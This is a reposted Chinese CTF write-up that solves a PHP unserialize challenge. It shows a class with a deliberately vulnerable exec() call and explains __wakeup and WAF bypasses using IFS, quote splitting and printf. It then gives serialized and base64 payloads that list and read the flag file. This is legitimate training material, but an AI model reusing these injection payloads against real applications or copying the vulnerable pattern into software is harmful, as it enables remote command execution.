【PHP样本】反序列化ctf题

news/2024/12/12 20:37:35/文章来源:https://www.cnblogs.com/o-O-oO/p/18603392

题目:

<?phphighlight_file(__FILE__);class ease{private $method;private $args;function __construct($method, $args) {$this->method = $method;$this->args = $args;}function __destruct(){if (in_array($this->method, array("ping"))) {call_user_func_array(array($this, $this->method), $this->args);}} function ping($ip){exec($ip, $result);var_dump($result);}function waf($str){if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {return $str;} else {echo "don't hack";}}function __wakeup(){foreach($this->args as $k => $v) {$this->args[$k] = $this->waf($v);}}   
}$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>

我们对代码进行分析之前,首先需要了解一些序列化的知识。首先序列化本身的目的是将数据经过处理,以json的形式传输。

PHP中的序列化一般使用serialize()函数进行处理,使用unserialize()可以对序列化的字符进行解密,下面是序列化的数据。

上面使用了几种构造方法:
__construct构造方法

当使用new关键字实例化一个对象时,构造函数将会自动调用。如果构造函数有参数的话,那么在实例化的时候也需要传入对应的参数。

绕过:

反序列化的时候,类的构造函数即不会被执行。
__destruct()析构方法

析构函数只有在对象被垃圾收集器收集之前,才会被自动调用。析构函数允许我们在销毁一个对象之前执行一些特点的操作,例如关闭文件,释放结果集。

触发条件:

主动调用unset函数将指向对象的变量删除

指向对象的变量被置为空,导致对象无法引用

程序自动结束、垃圾回收机制回收
__wakeup()方法

在 unserialize()调用之前,会检查是否存在一个wakeup方法。如果存在,会先调用他,预先准备对象数据。
wakeup绕过

将需要进行反序列化的对象的序列化字符串中的成员数,大于实际成员数量。

调用wakeup方法,序列化字符串中表示对象属性个数大于真实的属性个数时,就会跳过wakeup执行。
printf绕过

Linux中的printf函数,可以将十六进制或者八进制的字符数字转化ASCII字符内容输出。
Linux中对空格过滤

Linux中的IFS变量,我们通过设置这个变量为空格、tab、回车的其中一个或者几个。我们设置其变量为空格的时候,可以绕过空格的过滤。

$()与`(反引号)

在命令中,这两个都是用来作为命令替换,例如:

$ echo today is $(date "+%Y-%m-%d"),

执行结果:

today is 2014-07-01

$$()会将$()返回的结果视为命令进行执行,命令窗口里会有一个$

思路

我们需要通过序列化进行命令执行。所以我们要绕过其中的一些正则过滤

其次整个代码的意思,是可以接收post传来的ctf的值,然后对这个进行base64编码以及反序列化,我们可以控制ctf变量。

我们来研究下他的一个过滤规则,wakeup方法中,进行了正则过滤,再看destruct方法,该方法检测ping是否在method中,并且调用了名为method的方法,以数组arg的值为参数。

综合来看就是在通过$method和__construct来调用构造的ping方法,接着通过$args来作为输入口进行命令的输入。

也就是说我们需要将我们要执行的命令,进行序列化,然后加密为base64之后传入进去

O:4:"ease":2:{s:12:"easemethod";s:4:"ping";s:10:"easeargs";a:1 {i:0;s:4:"l''s";}}

发送之后可以看到

文件下有两个文件,一个index,一个flag

我们可以ls一下flag文件,这里面的命令使用双引号单引号绕过

执行上面这段代码进行序列化之后,我们就可以获得flag文件

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyNDoibCIicyR7SUZTfWYiImxhZ18xc19oZXJlIjt9fQ==

最后我们cat一下这个flag.php文件

获得flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/851563.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

雷池的9443的管理端怎么保护?

为什么要保护 9443端口是雷池管理端端口,如果直接对外开放访问,有恶意攻击时管理员无法感知,为了更安全,把9443也用雷池保护起来 操作步骤 添加雷池的站点 如图:修改新的外部访问端口为19443 安全组删除9443的端口开放 增加19443端口开放测试效果用原来的9443访问,发现已…

rust学习十四、编译和发布单元包Crate

本文简要介绍如何编译和发布单元包(crate)。 很可惜的是,找了一会,没有发现可以发布到除了Crates.io之外的地方。 可能是我没有找到,也可能仅仅是因为我本人仅是初学者。希望国内的大学和其它机构能够创建那么一个国内的库,避免哪天封禁后,无处可去。 本文对应相关书籍的第…

Https身份鉴权(小迪网络安全笔记~

引子:上一篇主要对Http数据包结构、内容做了介绍,本篇则聊聊Https、身份鉴权等技术。附:完整笔记目录~ ps:本人小白,笔记均在个人理解基础上整理,若有错误欢迎指正! 5.2 Https&身份鉴权引子:上一篇主要对Http数据包结构、内容做了介绍,本篇则聊聊Https、身份鉴权等…

转载:【AI系统】Ascend C 编程范式

AI 的发展日新月异,AI 系统相关软件的更新迭代也是应接不暇,作为一篇讲授理论的文章,我们将尽可能地讨论编程范式背后的原理和思考,而少体现代码实现,以期让读者理解 Ascend C 为何这样设计,进而随时轻松理解最新的 Ascend C 算子的编写思路。 本文将针对 Ascend C 的编程…

Day45--“ZWSP” 字符的作用

Day45--“ZWSP” 字符的作用在TestPanel里面,创建main方法,创建Frame、Panel的对象。​ Frame不使用默认的布局管理器​ 设置frame的坐标、颜色​ 设置panel的坐标、颜色​ frame中添加panel​ 可见当我把上面的话复制粘贴到IDEA里面,效果是图片上这样的…

Transformers 框架 Pipeline 任务详解(三):词元分类(token-classification)和命名实体识别

本文深入简出介绍了 Transformers 框架中的 token-classification 任务,从基础概念到实际应用,包括命名实体识别、分词和词性标注,最后还会提供详细的代码示例和 WebUI 界面操作,帮助你快速上手词元分类和命名实体识别……微信公众号:老牛同学 公众号标题:Transformers 框…

转载:【AI系统】算子开发编程语言 Ascend C

本文将深入探讨昇腾算子开发编程语言 Ascend C,这是一种专为昇腾 AI 处理器算子开发设计的编程语言,它原生支持 C 和 C++标准规范,最大化匹配用户的开发习惯。Ascend C 通过多层接口抽象、自动并行计算、孪生调试等关键技术,极大提高算子开发效率,助力 AI 开发者低成本完成…

知攻善防应急响应靶场练习-web1

题目描述 前景需要: 小李在值守的过程中,发现有[CPU](https://so.csdn.net/so/search?q=CPU&spm=1001.2101.3001.7020)占用飙升,出于胆子小,就立刻将服务器关机,这是他的服务器系统,请你找出以下内容,并作为通关条件:1.攻击者的shell密码 2.攻击者的IP地址 3.攻击…

jenkins升级实例

jenkin升级步骤1.下载jenkins.war包和对应的jdk版本2.只需要替换原来启动命令中的java路径和jenkins.war包即可原来版本jenkins的启动命令/etc/alternatives/java -Dcom.sun.akuma.Daemon=daemonized -Djava.awt.headless=true -DJENKINS_HOME=/var/lib/jenkins -jar /usr/lib/…

企业消费管理再进阶:SIMPLE模型帮你选择服务商

公司上万名员工每天满世界飞,差旅应该怎么管?员工出差、加班,每天数万单打车费用,怎么管?招待用餐和员工用餐,如何做到能成本更低,体验更好? 包括差旅、招待用餐、员工用餐、用车、福利等,都是企业消费的核心场景。在当前的经济形势下,企业焦点已经从单纯追求用户规模…

鸿蒙NEXT开发案例:保质期计算

【引言】 保质期计算应用是一个基于鸿蒙NEXT框架开发的数字和文本统计组件。用户可以输入商品的生产日期和保质期天数,应用会自动计算并展示相关信息,包括保质状态、剩余天数、生产日期和到期日期。 【环境准备】 • 操作系统:Windows 10 • 开发工具:DevEco Studio NEXT B…